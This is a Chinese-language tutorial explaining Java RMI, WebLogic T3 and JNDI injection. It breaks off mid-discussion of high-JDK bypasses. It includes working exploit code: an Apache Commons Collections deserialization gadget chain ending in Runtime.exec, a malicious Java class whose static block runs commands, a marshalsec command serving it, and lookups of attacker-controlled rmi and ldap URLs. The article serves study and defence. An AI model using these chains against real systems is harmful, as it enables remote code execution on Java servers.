IHello rhello = new HelloImpl(); LocateRegistry.createRegistry(1099);//人工創(chuàng)建RMI注冊(cè)服務(wù) Naming.bind("rmi://0.0.0.0:1099/hello", rhello);LocateRegistry.getRegistry()會(huì)使用給定的主機(jī)和端口等信息本地創(chuàng)建一個(gè)Stub對(duì)象作為Registry遠(yuǎn)程對(duì)象的代理,從而啟動(dòng)整個(gè)遠(yuǎn)程調(diào)用邏輯。服務(wù)端應(yīng)用程序可以向RMI注冊(cè)表中注冊(cè)遠(yuǎn)程對(duì)象,然后客戶端向RMI注冊(cè)表查詢某個(gè)遠(yuǎn)程對(duì)象名稱,來獲取該遠(yuǎn)程對(duì)象的Stub。
(2)遠(yuǎn)程調(diào)用邏輯
Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099); IHello rhello = (IHello) registry.lookup("hello"); rhello.sayHello("test");(3)動(dòng)態(tài)加載類
RMI核心特點(diǎn)之一就是動(dòng)態(tài)加載類,如果當(dāng)前JVM中沒有某個(gè)類的定義,它可以從遠(yuǎn)程URL去下載這個(gè)類的class,java.rmi.server.codebase屬性值表示一個(gè)或多個(gè)URL位置,可以從中下載本地找不到的類,相當(dāng)于一個(gè)代碼庫(kù)。動(dòng)態(tài)加載的對(duì)象class文件可以使用Web服務(wù)的方式(如http://、ftp://、file://)進(jìn)行托管。客戶端使用了與RMI注冊(cè)表相同的機(jī)制。RMI服務(wù)端將URL傳遞給客戶端,客戶端通過HTTP請(qǐng)求下載這些類。
無論是客戶端還是服務(wù)端要遠(yuǎn)程加載類,都需要滿足以下條件:
a.由于Java SecurityManager的限制,默認(rèn)是不允許遠(yuǎn)程加載的,如果需要進(jìn)行遠(yuǎn)程加載類,需要安裝RMISecurityManager并且配置java.security.policy,這在后面的利用中可以看到。
b.屬性 java.rmi.server.useCodebaseOnly 的值必需為false。但是從JDK 6u45、7u21開始,java.rmi.server.useCodebaseOnly 的默認(rèn)值就是true。當(dāng)該值為true時(shí),將禁用自動(dòng)加載遠(yuǎn)程類文件,僅從CLASSPATH和當(dāng)前虛擬機(jī)的java.rmi.server.codebase 指定路徑加載類文件。使用這個(gè)屬性來防止虛擬機(jī)從其他Codebase地址上動(dòng)態(tài)加載類,增加了RMI ClassLoader的安全性。
(4)JAVA RMI Demo
//接口 public interface Hello extends Remote {public String echo(String message) throws RemoteException; } //接口類實(shí)現(xiàn) public class HelloImpl implements Hello {@Overridepublic String echo(String message) throws RemoteException {if ("quit".equalsIgnoreCase(message.toString())) {System.out.println("Server will be shutdown!");System.exit(0);}System.out.println("Message from client: " + message);return "Server response:" + message;} } //server端 public class Server {public static void main(String[] args) throws Exception {String name = "hello";Hello hello = new HelloImpl();// 生成StubUnicastRemoteObject.exportObject(hello, 1199);/*設(shè)置java.rmi.server.codebaseSystem.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");如果需要使用RMI的動(dòng)態(tài)加載功能,需要開啟RMISecurityManager,并配置policy以允許從遠(yuǎn)程加載類庫(kù)System.setProperty("java.security.policy", Server.class.getClassLoader().getResource("java.policy").getFile());RMISecurityManager securityManager = new RMISecurityManager();System.setSecurityManager(securityManager);*/// 創(chuàng)建本機(jī) 1099 端口上的RMI registryRegistry registry = LocateRegistry.createRegistry(1199);//如果registry已存在Registry reg = LocateRegistry.getRegistry();// 對(duì)象綁定到注冊(cè)表中registry.rebind(name, hello);} } //client端 public class Client {public static void main(String[] args) throws Exception {// 獲取遠(yuǎn)程主機(jī)上的注冊(cè)表Registry registry = LocateRegistry.getRegistry("localhost", 1199);String name = "hello";// 獲取遠(yuǎn)程對(duì)象Hello hello = (Hello) registry.lookup(name);while (true) {Scanner sc = new Scanner(System.in);String message = sc.next();// 調(diào)用遠(yuǎn)程方法hello.echo(message);if (message.equals("quit")) {break;}}} }JAVA RMI與?Weblogic RMI
RMI是基于JRMP協(xié)議的,而Weblogic RMI是基于T3協(xié)議(也有基于CORBA的IIOP協(xié)議)。WebLogic RMI是WebLogic對(duì)Java RMI的實(shí)現(xiàn),它們之間的不同在于:
(1)WebLogic的字節(jié)碼生成功能會(huì)自動(dòng)生成服務(wù)端的字節(jié)碼到內(nèi)存。不再生成Skeleton骨架對(duì)象,也不需要使用UnicastRemoteObject對(duì)象。
(2)在WebLogic RMI 客戶端中,字節(jié)碼生成功能會(huì)自動(dòng)為客戶端生成代理對(duì)象,因此Stub也不再需要。
T3傳輸協(xié)議是WebLogic的自有協(xié)議,它有如下特點(diǎn):
(1)服務(wù)端可以持續(xù)追蹤監(jiān)控客戶端是否存活(心跳機(jī)制),通常心跳的間隔為60秒,服務(wù)端在超過240秒未收到心跳即判定與客戶端的連接丟失。
(2)通過建立一次連接可以將全部數(shù)據(jù)包傳輸完成,優(yōu)化了數(shù)據(jù)包大小和網(wǎng)絡(luò)消耗。
Weblogic RMI Demo
和RMI類似,先創(chuàng)建服務(wù)端對(duì)象接口和實(shí)現(xiàn)類:
public interface IHello extends java.rmi.Remote {String sayHello() throws RemoteException; } public class HelloImpl implements IHello {public String sayHello() {return "Hello Remote World!!";} }服務(wù)端不再需要Skeleton對(duì)象和UnicastRemoteObject對(duì)象,服務(wù)端代碼如黃框所示:
客戶端中也不再需要stub:
Weblogic T3 協(xié)議
RMI的Client與Service交互采用JRMP協(xié)議,而Weblogic RMI采用T3協(xié)議。
WebLogic RMI調(diào)用時(shí)T3協(xié)議握手后的數(shù)據(jù)包,包含不止一個(gè)序列化魔術(shù)頭(0xac 0xed 0x00 0x05),每個(gè)序列化數(shù)據(jù)包前面都有相同的二進(jìn)制串(0xfe 0x01 0x00 0x00),每個(gè)數(shù)據(jù)包上面都包含了一個(gè)T3協(xié)議頭,前4個(gè)字節(jié)正好對(duì)應(yīng)著數(shù)據(jù)包長(zhǎng)度。
RMI反序列化漏洞
RMI使用反序列化機(jī)制來傳輸Remote對(duì)象,那么如果是個(gè)惡意的對(duì)象,在服務(wù)器端進(jìn)行反序列化時(shí)便會(huì)觸發(fā)反序列化漏洞。如果此時(shí)服務(wù)端存在Apache Commons Collections這種庫(kù),就會(huì)導(dǎo)致遠(yuǎn)程命令執(zhí)行。即Runtime.getRuntime().exec(“calc”)等語句。
該庫(kù)中含有一個(gè)接口類叫做Tranesformer,其實(shí)現(xiàn)類有ChainedTransformer、ConstantTransformer、InvokerTransformer、CloneTransformer、ClosureTransformer、ExceptionTransformer、FactoryTransformer、InstantiateTransformer、MapTransformer、NOPTransformer、PredicateTransformer、StringValueTransformer、SwitchTransformer。前三個(gè)可以在反序列化攻擊中進(jìn)行利用,其本身功能及關(guān)鍵代碼如下:
//InvokerTransformer構(gòu)造函數(shù)接受三個(gè)參數(shù),并通過反射執(zhí)行一個(gè)對(duì)象的任意方法public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}public Object transform(Object input) {Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);} //ConstantTransformer構(gòu)造函數(shù)接受一個(gè)參數(shù),并返回傳入的參數(shù)public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}public Object transform(Object input) {return this.iConstant;} //ChainedTransformer構(gòu)造函數(shù)接受一個(gè)Transformer類型的數(shù)組,并返回傳入數(shù)組的每一個(gè)成員的Transformer方法public ChainedTransformer(Transformer[] transformers) {this.iTransformers = transformers;}public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}return object;}將上述函數(shù)組合起來構(gòu)造遠(yuǎn)程命令執(zhí)行鏈:
Transformer[] transformers_exec = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers_exec); chain.transform('1');那么接下來的問題就是,真實(shí)環(huán)境中如何觸發(fā)ChainedTransformer.transform,有兩個(gè)類調(diào)用了transform方法,LazyMap和TransformedMap。TransformedMap中的調(diào)用流程為setValue ==> checkSetValue ==> valueTransformer.transform(value),所以如果用TransformedMap調(diào)用transform方法,需要生成一個(gè)TransformedMap然后修改Map中的value值即可觸發(fā),上述執(zhí)行鏈添加如下部分:
Transformer chainedTransformer = new ChainedTransformer(transformers_exec); Map inMap = new HashMap(); inMap.put("key", "value"); Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//生成 Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue("foobar");如果用LazyMap調(diào)用transform方法,調(diào)用流程為get==>factory.transform(key),但是這些也還是需要手動(dòng)調(diào)用去修改值。要自動(dòng)觸發(fā)需要執(zhí)行readObject()方法,所用的類為AnnotationInvocationHandler,該類是JAVA運(yùn)行庫(kù)中的一個(gè)類,這個(gè)類有一個(gè)成員變量memberValues是Map類型,并且類中的readObject()函數(shù)中對(duì)memberValues的每一項(xiàng)調(diào)用了setValue()函數(shù),完整代碼如下:
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};Transformer chainedTransformer = new ChainedTransformer(transformers);Map inMap = new HashMap();//創(chuàng)建一個(gè)含有Payload的惡意mapinMap.put("key", "value");Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//創(chuàng)建一個(gè)含有惡意調(diào)用鏈的Transformer類的Map對(duì)象Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//獲取AnnotationInvocationHandler類對(duì)象Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });//獲取AnnotationInvocationHandler類的構(gòu)造方法ctor.setAccessible(true); // 設(shè)置構(gòu)造方法的訪問權(quán)限Object instance = ctor.newInstance(new Object[] { Retention.class, outMap });FileOutputStream fos = new FileOutputStream("payload.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(instance);oos.flush();oos.close();FileInputStream fis = new FileInputStream("payload.ser");ObjectInputStream ois = new ObjectInputStream(fis);// 觸發(fā)代碼執(zhí)行Object newObj = ois.readObject();ois.close();在RMI中利用,即在反序列化基礎(chǔ)上,加入如下代碼:
InvocationHandler h = (InvocationHandler) instance;// 實(shí)例化AnnotationInvocationHandlerRemote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},h));try{Registry registry = LocateRegistry.getRegistry(port);registry.rebind("hello", r); // r is remote obj}catch (Throwable e) {e.printStackTrace();}另外對(duì)于RMI服務(wù)攻擊,可以使用URLClassLoader方法回顯:
Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://****/java/", "exploit.ErrorBaseExec", "do_exec", "pwd");三、JNDI簡(jiǎn)介
在介紹JNDI注入之前,要說說JNDI是什么。
JNDI(Java Naming and Directory Interface,Java命名與目錄接口),如果從名稱上進(jìn)行拆分,可以分為命名服務(wù)和目錄服務(wù)。命名服務(wù)是將名稱與值關(guān)聯(lián)起來的實(shí)體,也稱為“綁定”(bindings)。例如,域名www.baidu.com和IP地址202.108.22.5綁定、姓名和身份證號(hào)綁定,都可以理解為一種命名服務(wù)。
命名服務(wù)提供了基于名稱來查找對(duì)象的方法,我們可以通過姓名這種好記的名稱來查找身份證的值,即lookup(查找)或search(搜索)。
目錄服務(wù)是一種特殊的命名服務(wù),只是在查找時(shí)找的是目錄對(duì)象,它存有對(duì)象的所有屬性,那么在操作時(shí)也操作的是對(duì)象的屬性。
JNDI的架構(gòu)如下:
Java Application ->JNDI API -> Naming Manager -> JNDI SPI(LDAP、DNS、NIS、NDS、RMI、CORBA)RMI與JNDI
JNDI提供了與不同類型的服務(wù)交互的公共接口。但其自身不區(qū)分客戶端和服務(wù)端,也不具備遠(yuǎn)程能力。JNDI在客戶端上主要進(jìn)行訪問、查詢和檢索等,在服務(wù)端主要進(jìn)行配置管理等,比如在RMI服務(wù)端上不直接使用Registry進(jìn)行bind而使用JNDI統(tǒng)一管理。
JNDI架構(gòu)如下圖,Naming Manager包含用于創(chuàng)建上下文對(duì)象和對(duì)象的靜態(tài)方法。服務(wù)器提供者接口(SPI)允許JNDI管理不同的服務(wù)。
SPI(Service Provider Interface),服務(wù)提供發(fā)現(xiàn)機(jī)制,Service通常指接口/抽象類,Provider則是接口的具體實(shí)現(xiàn)(如AService、BService)。在配置文件中配置Service的實(shí)現(xiàn)類,就可以通過ServiceLoader來調(diào)用所有的Provider。那么JNDI SPI可以理解為,通過JNDI,根據(jù)綁定對(duì)應(yīng)的名稱,來調(diào)用和管理LDAP、DNS等各類服務(wù)。
JNDI應(yīng)用
數(shù)據(jù)庫(kù)開發(fā)的代碼簡(jiǎn)單的寫法如下,但是這種寫法存在一些問題,例如當(dāng)url、用戶名和密碼變化時(shí)就需要修改源碼。
username="root"; password="root"; url="jdbc:mysql://localhost:3306/xxx"; Class.forName("com.mysql.jdbc.Driver"); conn=DriverManager.getConnection(url, username, password);而使用JNDI的話,在META-INF下創(chuàng)建一個(gè)context.xml文件:
<Context><Resourcename="jndi/mybatis" <! -- 以項(xiàng)目名稱命名--> auth="Container"driverClassName="com.mysql.jdbc.Driver"password="root"type="javax.sql.DataSource"url="jdbc:mysql://localhost:3306/xxx"username="root" /> </Context>數(shù)據(jù)庫(kù)連接的代碼就改成了這樣,要修改的話只需要修改配置文件,而無需修改代碼。根據(jù)Resource的name進(jìn)行搜索(命名服務(wù)的特點(diǎn)),根據(jù)相關(guān)屬性加載類對(duì)象。從這個(gè)Demo也可以看出,Naming Manager能夠創(chuàng)建上下文對(duì)象(Context)并根據(jù)位置信息引用對(duì)象的靜態(tài)方法:
Connection conn=null; InitialContext ctx=new InitialContext(); Context envContext=(Context) ctx.lookup("java:comp/env"); DataSource ds=(DataSource) envContext.lookup("jndi/mybatis"); conn=ds.getConnection();JNDI接口在初始化時(shí),可以將RMI URL作為參數(shù)傳入,而JNDI注入就出現(xiàn)在客戶端的lookup()函數(shù)中,如果lookup()的參數(shù)可控就可能被攻擊。
Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); //com.sun.jndi.rmi.registry.RegistryContextFactory 是RMI Registry Service Provider對(duì)應(yīng)的Factory env.put(Context.PROVIDER_URL, "rmi://kingx_kali:8080"); Context ctx = new InitialContext(env); Object local_obj = ctx.lookup("rmi://kingx_kali:8080/test")//將名稱refObj與一個(gè)對(duì)象綁定,這里底層也是調(diào)用的rmi的registry去綁定 ctx.bind("refObj", new RefObject()); //通過名稱查找對(duì)象 ctx.lookup("refObj");在JNDI服務(wù)中,RMI服務(wù)端除了直接綁定遠(yuǎn)程對(duì)象之外(JAVA序列化傳輸對(duì)象到遠(yuǎn)程服務(wù)器),還可以通過命名引用的方式通過綁定,由命名管理器進(jìn)行解析的一個(gè)引用。引用由References類來綁定一個(gè)外部的遠(yuǎn)程對(duì)象(當(dāng)前名稱目錄系統(tǒng)之外的對(duì)象)。綁定了Reference之后,服務(wù)端會(huì)先通過Referenceable.getReference()獲取綁定對(duì)象的引用,并且在目錄中保存。當(dāng)客戶端在lookup()查找這個(gè)遠(yuǎn)程對(duì)象時(shí),客戶端會(huì)獲取相應(yīng)的object factory,最終通過factory類將reference轉(zhuǎn)換為具體的對(duì)象實(shí)例。
Reference reference = new Reference("MyClass","MyClass",FactoryURL); ReferenceWrapper wrapper = new ReferenceWrapper(reference); ctx.bind("Foo", wrapper);JNDI動(dòng)態(tài)協(xié)議轉(zhuǎn)換
JNDI除了與RMI搭配使用,還可以與LDAP、CORBA等,JNDI與LDAP配合使用方式如下:
Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://localhost:1389");DirContext ctx = new InitialDirContext(env); //通過名稱查找遠(yuǎn)程對(duì)象,假設(shè)遠(yuǎn)程服務(wù)器已經(jīng)將一個(gè)遠(yuǎn)程對(duì)象與名稱cn=foo,dc=test,dc=org綁定了 Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");這是手動(dòng)設(shè)置服務(wù)工廠及PROVIDER_URL的方式,JNDI還提供協(xié)議的動(dòng)態(tài)轉(zhuǎn)換,即使我們不設(shè)置上述內(nèi)容,如果ctx.lookup("rmi://attacker-server/refObj");執(zhí)行便自動(dòng)轉(zhuǎn)換對(duì)應(yīng)服務(wù)。
Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL,"rmi://localhost:9999"); Context ctx = new InitialContext(env); String name = "ldap://attacker-server/cn=bar,dc=test,dc=org"; //通過名稱查找對(duì)象 ctx.lookup(name);此處的lookup中的參數(shù)如果可控就可以根據(jù)攻擊者提供的URL進(jìn)行動(dòng)態(tài)轉(zhuǎn)換。
四、JNDI注入攻擊
JNDI注入是BlackHat 2016(USA)@pentester 的一個(gè)議題"A Journey From JNDI LDAP Manipulation To RCE"提出的。
根據(jù)上述demo可以發(fā)現(xiàn)JNDI注入流程是(以RMI為例),如果目標(biāo)代碼中調(diào)用了InitialContext.lookup(URI),且URI為用戶可控->攻擊者控制URI參數(shù)為惡意的RMI服務(wù)地址,如:rmi://hacker_rmi_server//name->攻擊者RMI服務(wù)器向目標(biāo)返回一個(gè)Reference對(duì)象,Reference對(duì)象中指定某個(gè)精心構(gòu)造的Factory類->目標(biāo)在進(jìn)行l(wèi)ookup()操作時(shí),會(huì)動(dòng)態(tài)加載并實(shí)例化Factory類,接著調(diào)用factory.getObjectInstance()獲取外部遠(yuǎn)程對(duì)象實(shí)例;->攻擊者可以在Factory類文件的構(gòu)造方法、靜態(tài)代碼塊、getObjectInstance()方法等處寫入惡意代碼,達(dá)到RCE的效果。調(diào)用鏈為:RegistryContext.decodeObject()->NamingManager.getObjectInstance()-> factory.getObjectInstance()。
JNDI主要的攻擊向量有:RMI、JNDI Reference、Remote Object、LDAP、Serialized Object、JNDI Reference、Remote Location、CORBA、IOR
JNDI注入攻擊,它可以與RMI和LDAP攻擊相結(jié)合,但是在高版本JDK中都將trustURLCodebase默認(rèn)值改為了false,限制了從遠(yuǎn)程codebase加載對(duì)象。RMI對(duì)應(yīng)的限制JDK為:JDK 6u132、7u122、8u113;LDAP對(duì)應(yīng)的限制JDK為:JDK6u211、7u201、8u191、11.0.1。限制了遠(yuǎn)程加載后,大家就開始研究從本地環(huán)境中尋找利用類,如Tomcat的org.apache.naming.factory.BeanFactory,它具備反射功能,可以通過傳入一個(gè)類來執(zhí)行類中的方法。現(xiàn)有的類利用方式包含:javax.el.ELProcessor#eval、groovy.lang.GroovyShell#evaluate等。
| JNDI工具名稱 | 地址 |
| JNDI-Injection-Exploit | https://github.com/welk1n/JNDI-Injection-Exploit/ |
| Rogue JNDI | https://github.com/veracode-research/rogue-jndi |
| marshalsec | https://github.com/mbechler/marshalsec |
(1)JNDI Reference+RMI
public class RMIServer1 {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {Registry registry = LocateRegistry.createRegistry(9999); // Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName為類名加上包名,FactoryClassName為工廠類名并且包含工廠類的包名Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);registry.bind("refObj", refObjWrapper);} } public class RMIClient1 {public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {Properties env = new Properties();env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL,"rmi://localhost:9999");Context ctx = new InitialContext();ctx.lookup("rmi://localhost:9999/refObj");} }當(dāng)運(yùn)行l(wèi)ookup函數(shù)時(shí),RegistryContext.decodeObject() 會(huì)被調(diào)用,然后調(diào)用NamingManager.getObjectInstance() 進(jìn)行實(shí)例化,最終返回Reference,然后getObjectFactoryFromReference() 會(huì)從Reference中得到實(shí)例化的類。攻擊者可以提供自己的工廠類,一旦實(shí)例化就會(huì)運(yùn)行payload。
整個(gè)攻擊過程為:攻擊者為JNDI lookup提供了一個(gè)絕對(duì)的RMI URL,然后服務(wù)器連接到攻擊者控制的RMI注冊(cè)表,該注冊(cè)表將返回惡意的JNDI引用,服務(wù)器解碼JNDI引用后從攻擊者控制的服務(wù)器獲取工廠類,進(jìn)行實(shí)例化的時(shí)候payload執(zhí)行。所以此攻擊方式可以用于 Spring's JndiTemplate或Apache’s Shiro JndiTemplate 等調(diào)用InitialContext.lookup()的情況。
(2)JNDI+LDAP
Naming Manager在JAVA對(duì)象(JAVA序列化、JNDI references等)解析運(yùn)行時(shí)可能造成RCE,DirContext.lookup() JNDI注入和“LDAP Entry Poisoning”的主要區(qū)別是,對(duì)于前者,攻擊者就可以使用自己的LDAP服務(wù)器,對(duì)于后者,攻擊者需要攻擊LDAP服務(wù)器條目,與應(yīng)用程序交互時(shí)等待期返回被攻擊條目的屬性。
攻擊過程為:攻擊者為JND lookup提供了一個(gè)絕對(duì)LDAP URL,服務(wù)器連接到攻擊者控制的LDAP服務(wù)器,該服務(wù)器返回惡意的JNDI引用。服務(wù)器解碼JNDI引用從攻擊者控制的服務(wù)器獲取工廠類,實(shí)例化工廠類時(shí)payload得以執(zhí)行。
LDAP Entry Poisoning
LDAP攻擊主要針對(duì)于屬性而非對(duì)象,例如,用lookup方法查找對(duì)象時(shí),search()方法是在檢索LDAP條目的所需屬性(例如:用戶名、密碼、電子郵件等),當(dāng)只請(qǐng)求屬性時(shí),就不會(huì)有可能危及服務(wù)器的Java對(duì)象解碼。然而,如果應(yīng)用程序執(zhí)行搜索操作,并將returnObjFlag設(shè)置為true,那么控制LDAP響應(yīng)的攻擊者將能夠在應(yīng)用服務(wù)器上執(zhí)行任意命令。
(3)JNDI+CORBA
org.omg.CORBA.Object read_Object會(huì)對(duì)IOR進(jìn)行解析:
public org.omg.CORBA.Object read_Object(Class clz) {// In any case, we must first read the IOR. IOR ior = IORFactories.makeIOR(parent); if (ior.isNil()) return null;PresentationManager.StubFactoryFactory sff = ORB.getStubFactoryFactory();String codeBase = ior.getProfile().getCodebase(); <1> PresentationManager.StubFactory stubFactory = null; if (clz == null) { RepositoryId rid = RepositoryId.cache.getId(ior.getTypeId()); <2> String className = rid.getClassName(); boolean isIDLInterface = rid.isIDLType();if (className == null || className.equals( "" )) stubFactory = null; else try { <3>stubFactory = sff.createStubFactory(className, isIDLInterface, codeBase, (Class)null, (ClassLoader)null); } catch (Exception exc) { stubFactory = null;}else if (StubAdapter.isStubClass( clz )) {stubFactory = PresentationDefaults.makeStaticStubFactory(clz); } else { // clz is an interface classboolean isIDL = IDLEntity.class.isAssignableFrom( clz ) ; stubFactory = sff.createStubFactory( clz.getName(),isIDL, codeBase, clz, clz.getClassLoader() ) ; } return internalIORToObject( ior, stubFactory, orb ) ; }攻擊者可以手工創(chuàng)建一個(gè)IOR,該IOR指定在他控制下的代碼庫(kù)位置<1>和IDL接口<2>,即存根工廠的位置。然后,它可以將運(yùn)行有效負(fù)載的存根工廠類放在其構(gòu)造函數(shù)中,并在目標(biāo)服務(wù)器<3>中實(shí)例化存根,從而成功地運(yùn)行payload
攻擊過程:攻擊者為JNDI lookup提供了一個(gè)絕對(duì)的IIOP URL。服務(wù)器連接到攻擊者控制的ORB,該ORB將返回惡意IOR,然后服務(wù)器解碼IOR從攻擊者控制的服務(wù)器獲取存根工廠類。進(jìn)行實(shí)例化的同時(shí)payload執(zhí)行。
五、JNDI攻擊流程
JNDI攻擊的DEMO如下,上面說到JNDI支持很多的服務(wù),如rmi、ldap等,所以在攻擊時(shí)有一些區(qū)別。
Hashtable env = new Hashtable(); // rmi攻擊 env.put(INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(PROVIDER_URL, "rmi://localhost:1099"); // ldap攻擊 env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://localhost:389");Context ctx = new InitialContext(env); ctx.bind(“foo”, “Sample String”); // Bind a String to the name “foo” in the RMI Registry Object local_obj = ctx.lookup(“foo”); // Look up the objectPS:除了javax.naming.InitialContext,它的子類InitialDirContext和InitialLdapContext也受此攻擊影響
RMI的文章中講過,遠(yuǎn)程方法調(diào)用過程中傳遞的是stub(代理對(duì)象),而不是對(duì)象本身,因?yàn)樾蛄谢臄?shù)據(jù)可能很大,每次傳遞大量的序列化數(shù)據(jù)并不是一個(gè)很好的設(shè)計(jì)。所以JNDI引入了Naming References,給了對(duì)象一個(gè)地址rmi://server/ref,從遠(yuǎn)程的codebase中加載class。
JNDI簡(jiǎn)單來說就是InitialContext.lookup(URI)根據(jù)名稱來查找某個(gè)服務(wù),URI可能是rmi://server/ref,也可能是ldap://server/ref。如果這個(gè)URI可控,并且傳入的是攻擊者的RMI服務(wù)器地址rmi://hacker_server/ref,那么獲取到的就可能是一個(gè)惡意類。在查找過程中類會(huì)被動(dòng)態(tài)加載并進(jìn)行實(shí)例化,所以如果惡意類的構(gòu)造方法/靜態(tài)代碼塊static/getObjectInstance方法里寫入了惡意代碼,就會(huì)達(dá)到RCE(遠(yuǎn)程代碼執(zhí)行)的效果。
JNDI攻擊流程(以RMI服務(wù)為例)
(1)攻擊者綁定一個(gè)惡意類在RMI服務(wù)中
惡意類如下:
public class Exp_fast {public void Exploit() {}static{try {String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")? new String[]{"cmd.exe","/c", "calc.exe"}: new String[]{"/bin/bash","-c", "open /Applications/Calculator.app"};Runtime.getRuntime().exec(cmds);} catch (Exception e) {e.printStackTrace();}}public static void main(String[] args) {Exp_fast e = new Exp_fast();} }用marshalsec工具起一個(gè)RMI服務(wù),并綁定惡意類Exp_fast:
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer http://ip:1389/\#Exp_fast(惡意腳本名稱)(2)攻擊者在應(yīng)用程序的lookup方法中傳入JNDI的地址,并觸發(fā)lookup方法:
public static void main(String[] args) {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//高版本JDK需開啟遠(yuǎn)程調(diào)用try {String uri = "rmi://127.0.0.1:1099/Evil";Context ctx = new InitialContext();ctx.lookup(uri);} catch (Exception e) {e.printStackTrace();}}(3)應(yīng)用程序訪問攻擊者的命名或目錄服務(wù),并獲取到惡意類
此時(shí)RMI服務(wù)器1099端口會(huì)有如下記錄:
Have connection from /127.0.0.1:52420 Reading message... Is RMI.lookup call for Exp_fast 2 Sending remote classloading stub targeting http://localhost:1389/Exp_fast.class Closing connectionHTTP服務(wù)器1389端口會(huì)有如下記錄:
Serving HTTP on 0.0.0.0 port 1389 (http://0.0.0.0:1389/) ... 127.0.0.1 - - [21/May/2020 19:11:07] "GET /Exp_fast.class HTTP/1.1" 200 -(4)應(yīng)用程序?qū)阂忸愡M(jìn)行實(shí)例化,攻擊載荷被執(zhí)行
根據(jù)上述流程也可以看出來,應(yīng)用程序的lookup中傳入rmi地址,觸發(fā)lookup請(qǐng)求后,請(qǐng)求了RMI注冊(cè)表,得到了這樣的反饋:Sending remote classloading stub targeting http://localhost:1389/Exp_fast.class,然后又向這個(gè)http地址發(fā)起了請(qǐng)求,最終獲得了惡意類,然后實(shí)例化的過程中,執(zhí)行了static代碼塊中的內(nèi)容,最終彈了計(jì)算器。
六、高版本限制與bypass
高版本限制
JDK 6u132、7u122、8u113中系統(tǒng)屬性com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默認(rèn)值變?yōu)閒alse,即默認(rèn)不允許從遠(yuǎn)程的Codebase加載Reference工廠類。想要進(jìn)行利用,需要將這兩個(gè)值改為false。
JDK6u211、7u201、8u191、11.0.1中將com.sun.jndi.ldap.object.trustURLCodebase 的默認(rèn)值變?yōu)閒alse。與上述RMI的限制類似。
RMI bypass
上述這些高版本中不能再?gòu)倪h(yuǎn)程url中加載惡意類,那么就需要從本地的CLASSPATH入手,找一個(gè)惡意的工廠類,來執(zhí)行命令或者進(jìn)行反序列化構(gòu)造。
JNDI調(diào)用RMI的調(diào)用棧如下:
javax.naming.InitialContext #lookupcom.sun.jndi.toolkit.url.GenericURLContext #lookupcom.sun.jndi.rmi.registry.RegistryContext #lookupcom.sun.jndi.rmi.registry.RegistryContext #decodeObject --> 判斷trustURLCodebasejavax.naming.spi.NamingManager #getObjectInstance在RegistryContext#lookup時(shí)會(huì)獲得一個(gè)Remote對(duì)象,被ReferenceWrapper包裝,結(jié)構(gòu)如下:
ReferenceWrapper[Reference[className="Foo", addrs={...}, classFactory="Evil", classFactoryLocation="http://ip:1389/#Evil],UnicastServerRef[liveRef: [endpoint:[localhost:56396](local),objID:...] ]在RegistryContext#decodeObject這步中會(huì)判斷trustURLCodebase,在高版本JDK中該值默認(rèn)為false,所以會(huì)拋出異常。
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'."); }NamingManager#getObjectInstance有如下代碼:
